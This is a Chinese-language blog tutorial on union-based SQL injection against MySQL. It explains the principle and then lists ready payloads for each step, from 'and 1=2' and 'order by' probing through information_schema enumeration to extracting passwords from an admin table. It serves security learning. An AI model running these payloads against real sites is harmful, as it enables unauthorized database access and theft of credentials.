SQL注入之联合查询

SQL注入之联合查询

SQL注入简介
SQL注入是网站存在最多也是比较简单的漏洞,主要原因是程序对用户输入的字符串没有进行过滤或处理不严谨,导致用户可以通过精心构造语句来非法获取数据库中的信息,SQL注入的首次公开讨论始于1998年左右,至今已有20多年的历史,被冠以漏洞之王的称号。

sql注入原理
sql语言即是结构化查询语言,通俗来讲就是操作数据库的语言,这些语句可以对数据库进行增、删、改、查等操作。
注入在这里即是将用户输入的数据拼接到原始代码中,从而使得被注入的数据被当做代码执行

sql注入的核心:将用户的输入拼接到代码中,并被当做sql语句执行

注入的基本流程

1、判断是否存在注入
核心:输入是否被当作代码执行
常用 and 1=1 ,and 1=2 判断
URL注释符号:%23 ,-- qwe.–+qwe

2、判断字段数
order by(排序,用来判断字段数)
例:order by 1(正常),order by 2(正常),order by 3(报错)
说明有两个字段数

3、判断显错位
因为联合查询前面的字段数要和后面的sql语句的字段数一致,这也是我们要先判断字段数的原因。联合查询时需要让前面查询语句查询不出结果,从而显示后面联合查询的结果来判断先错位。
select union

4、判断库名
database()
把database()放到显错位

5、判断表名
table_name from information_schema.tables where table_schema='库名'
table_name 放到显错位

6、判断列名
column_name from information_schema.columns where table_schema='库名' and table_name='表名'

7、寻找具体数据
例:union select 1,列名 from 表明
列名放在显错位

information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)
information_schema.tables(记录表名信息的表)
information_schema.columns(记录列名信息的表)
table_name (表名)
column_name (列名)
table_schema (数据库名)
limit 0,1(限制输出,0表示下标,1表示数量)

具体例子语句
在判断的url后加
判断是否存在注入:and 1=2
判断字段数:order by 2
查询数据库:and 1=2 union select 1,database()
查询表名:and 1=2 union select 1,table_name from information_schema.tables where table_schema =‘maoshe’
查询列名:and 1=2 union select 1,column_name from information_schema.columns where table_name =‘admin’ limit 2,1
查询具体数据:and 1=2 union select 1,password from admin

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值